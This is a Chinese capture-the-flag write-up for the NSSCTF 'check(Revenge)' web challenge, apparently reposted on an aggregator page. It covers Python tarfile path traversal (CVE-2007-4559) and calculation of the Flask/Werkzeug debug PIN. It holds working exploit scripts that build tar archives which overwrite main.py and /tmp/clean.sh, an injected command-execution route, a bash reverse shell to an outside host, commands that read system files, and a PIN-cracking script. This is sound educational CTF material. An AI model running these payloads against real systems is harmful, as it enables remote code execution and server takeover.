[NSSRound#6 Team]check(Revenge)

文章目录

  • 考点
    • tarfile文件覆盖漏洞(CVE-2007-4559)
    • PIN码计算
  • 解题过程
    • 非预期解
    • 预期解


考点

tarfile文件覆盖漏洞(CVE-2007-4559)

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件

关键代码

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

extractall函数如果结合包含../的文件名时可以实现文件覆盖漏洞
脚本如下

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='../../../app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

if __name__ == "__main__":
    upload(url)

脚本大概过程如下

  1. 首先定义url和需要上传的文件main.py,然后定义了新的文件名来实现文件覆盖
  2. 接着创建tar文件,文件名为前面定义的新文件名
  3. 然后是实现文件上传功能,利用POST请求发送

最终实现覆盖main.py

PIN码计算

PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id

那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。

liunx下PIN码中的username 可以从 /etc/passwd 中读取

cat /etc/passwd

此题为root
在这里插入图片描述然后可以看到环境为python/3.10.1
那么绝对路径为

/usr/local/lib/python3.10/site-packages/flask/app.py

在这里插入图片描述
继续获取网卡 MAC 地址的十进制表达式

cat /sys/class/net/eth0/address  #或者是/sys/class/net/ens33/address

在这里插入图片描述
把冒号去掉,然后转换十进制
在这里插入图片描述

最后的系统id包括两部分
我们先读取/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id

cat /etc/machine-id

在这里插入图片描述然后读取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

cat /proc/self/cgroup

也就是下图的8a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
在这里插入图片描述
把信息收集齐后就可以计算PIN码
脚本如下

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

解题过程

非预期解

我们可以看到debug是开启的,那么当文件发生修改时会自动重载,可以直接覆盖main.py
(main.py可以猜,路径可以慢慢试出来)
在这里插入图片描述
那么我们只需要可以直接RCE的main.py覆盖即可
main.py

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)

@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get('filename')

    return os.popen(filename).read()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

解释一下,就是./download路由下,参数filename可以命令执行
上传脚本

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='../../../app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

if __name__ == "__main__":
    upload(url)

上传成功后,命令执行得到flag
在这里插入图片描述

预期解

源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh,然后访问clean路由触发反弹shell
exp.sh

bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'

exp.py

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28417/'
filename = r"exp.sh"

def changeFileName(filename):
    filename.name='../../../tmp/clean.sh'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):
    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

def clean(rawurl):
    url = rawurl + 'clean'
    response = req.post(url)
    print(response.text)
if __name__ == "__main__":
    upload(url)
    time.sleep(1)
    clean(url)

关键步骤,要给exp.sh赋予可执行的权限

chmod +x exp.sh

在这里插入图片描述

运行脚本,成功反弹shell
在这里插入图片描述想得到flag,但是没权限
在这里插入图片描述

这里扫了一下目录,发现存在./console(也就是debug的路由)
在这里插入图片描述
所以接下来计算PIN码
详细的获取过程在前面的考点有提及
直接给出脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

访问./console,输入正确的PIN码
得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/111377.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

kubernetes-控制器

目录 一、replicaset 二、deployment 1、版本迭代 2、回滚 3、滚动更新策略 4、暂停与恢复 三、daemonset 四、statefulset 五、job 六、cronjob 一、replicaset ReplicaSet用于保证指定数量的 Pod 副本一直运行 vim rs-example.ymlapiVersion: apps/v1 kind: Replic…

使用requests库进行HTTP爬虫编程

目录 一、安装requests库 二、发送HTTP请求 三、解析HTML页面 四、处理HTTP响应和异常 五、使用代理和会话管理 六、使用多线程或多进程提高效率 七、数据存储和处理 八、注意事项和总结 在当今的数字化世界中,数据已经成为了一种宝贵的资源。而网络爬虫程序…

在线开发平台是什么?有哪些优势?

目录 一、什么是在线开发平台? 二、企业为什么选择在线开发平台? (1)风险低,回报高 (2)可视化操作更形象 (3)易维护 三、在线开发平台功能展示 技术介绍 随着互联网和信息…

【ROS入门】雷达、摄像头及kinect信息仿真以及显示

文章结构 雷达信息仿真以及显示Gazebo仿真雷达配置雷达传感器信息xacro文件集成启动仿真环境 Rviz显示雷达数据 摄像头信息仿真以及显示Gazebo仿真摄像头新建xacro文件,配置摄像头传感器信息xacro文件集成启动仿真环境 Rviz显示摄像头数据 kinect信息仿真以及显示Ga…

第五章 I/O管理 九、磁盘的结构

目录 一、概念 二、磁盘的物理地址 1、定义: 2、图像: 如何读取一个“块”: 三、磁盘的分类 四、总结 一、概念 磁盘是由多个盘片和读写磁头组成的,每个盘片都有自己的读写磁头。盘片表面被划分成许多同心圆的磁道&#xff…

JS逆向爬虫---请求参数加密① 【某度翻译】

接口定位 抓包输入翻译关键词 全局搜索关键词,定位到接口https://fanyi.baidu.com/v2transapi 全局搜索sign 多次尝试定位变化参数sign 断点调试b函数 估值整个function,并测试函数运行结果 缺少r参数,可以通过多次输入调试,定位r参数的…

微服务初始和Nacos安装

一)初始微服务: 微服务是将一个大型的,单一的应用程序拆分成多个小型服务,每一个服务负责于特定的业务功能,并且可以通过网络来和其他服务进行通讯,是一个思想,将一个大的项目拆分成多个小的项目,多个小的项…

Android裁剪图片之后无法加载的问题

适配Android11之后更改了图片保存目录,导致裁剪之后图片一直无法加载(fileNotfound) 最主要的问题在于保存裁剪文件的目录不能为私有目录,因为裁剪工具是系统工具,无法直接访问项目本身的私有目录。 解决办法&#x…

【ChatGPT从瀑布模式到水母模式】如何赋能软件研发全流程?

【文末送书】今天推荐一本强大工具书《ChatGPT 驱动软件开发:AI 在软件研发全流程中的革新与实践》,本文将从其亮点与结构出发,详细阐发其对于运维、项目经理、程序员等的重要性与益处。 文章目录 导语内容作者简介专家推荐读者对象直播预告文…

apache seatunnel支持hive jdbc

上传hive jdbc包HiveJDBC42.jar到seatunel lib安装目录 原因是cloudera 实现了add batch方法 创建seatunnel任务文件mysql2hivejdbc.conf env {execution.parallelism = 2job.mode = "BATCH"checkpoint.interval = 10000 } source {Jdbc {url = "jdbc:mysql:/…

代购商城源码是否可以定制开发?

定制开发,符合个性需求 代购商城源码是现代电子商务中的重要工具,它为代购商提供了建立在线店铺、管理产品和订单、处理支付和物流等功能。然而,对于不同的代购商而言,在源码的基础上进行个性化定制开发无疑是提升竞争力和用户体验…

这个学习方式,用的太及时了!

学校思政学习是培养未来社会精英、提升学生政治觉悟的重要环节。在学生的成长过程中,思政学习扮演着至关重要的角色,不仅有助于提高学生的政治素质,还能够培养他们的思维能力、价值观念,使他们更好地为社会和国家的发展贡献力量。…

[架构之路-248/创业之路-79]:目标系统 - 纵向分层 - 企业信息化的呈现形态:常见企业信息化软件系统 - 供应链管理

目录 前言: 一、企业信息化的结果:常见企业信息化软件 1.1 供应链管理 1.1 什么是供应链与供应链管理What 1.2 为什么需要供应链管理系统Why? 1.3 谁需要供应链管理系统who? 1.4 供应链管理在企业管理中的位置where 1.5 什…

漆料店信息展示服务预约小程序的作用是什么

漆料在工程、家庭装修等场景中都是不可缺的,而在种类/品牌方面更是众多,无论厂家直营店还是经销商,市场中都有很多,在生意方面,尤其是较大的店面,除了本地生意,外地客户也有一定拓展。 但由于种…

云尘-AI-Web-1.0

继续! 开扫 继续先测试web sql注入 直接sqlmap跑 通过注入 (sqlmap查询方式省略) 存在systemuser 不知道会不会是电脑的密码 我们解密一下然后直接试试看 然后失败 这里就没有思路了 但是我们刚刚存在一个目录 我们再扫扫看 无果 换另一个…

VScode远程连接错误:进程试图写入不存在的管道

使用VScode连接树莓派时,出现远程连接错误:进程试图写入不存在的管道 解决方案: (1)可以进入config所在文件夹,删除文件 (2)无法解决的化尝试下述方法 输入 Remotting-SSH:Settin…

Grafana 图表 Table 根据 Key 修改背景颜色

文章目录 前言1. 配置过程1.1 创建 override1.2 Add override property1.3 Value mappings 2. 效果展示 前言 需要配置一个备份任务的 Dashboard 展示备份的状态,如果备份状态是 Completed 表示正常(绿色背景),如果是 Error 表示…

041-第三代软件开发-QCustcomPlot波形标注

第三代软件开发-QCustcomPlot波形标注 文章目录 第三代软件开发-QCustcomPlot波形标注项目介绍QCustcomPlot波形标注效果初始化绘制 关键字: Qt、 Qml、 关键字3、 关键字4、 关键字5 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QML…

Python 中__name__ == ‘__main__‘使用说明

在学习C语言的时候,程序的运行是从main函数开始的,因此,功能代码一般写到main函数中,子程序如果想要调用,也需要在main函数中进行调用。 然而,Python语言中,程序从第一行就开始执行(定义函数除外…

我和云栖有个约会

开端,似曾相识的云栖 2023年阿里云云栖大会在云栖小镇举办,云栖小镇?在2020年的时候,曾经来过这里参加竞赛。时隔三年,身份变换,以开发者的身份,收到阿里云开发者社区的邀请,正好有…
最新文章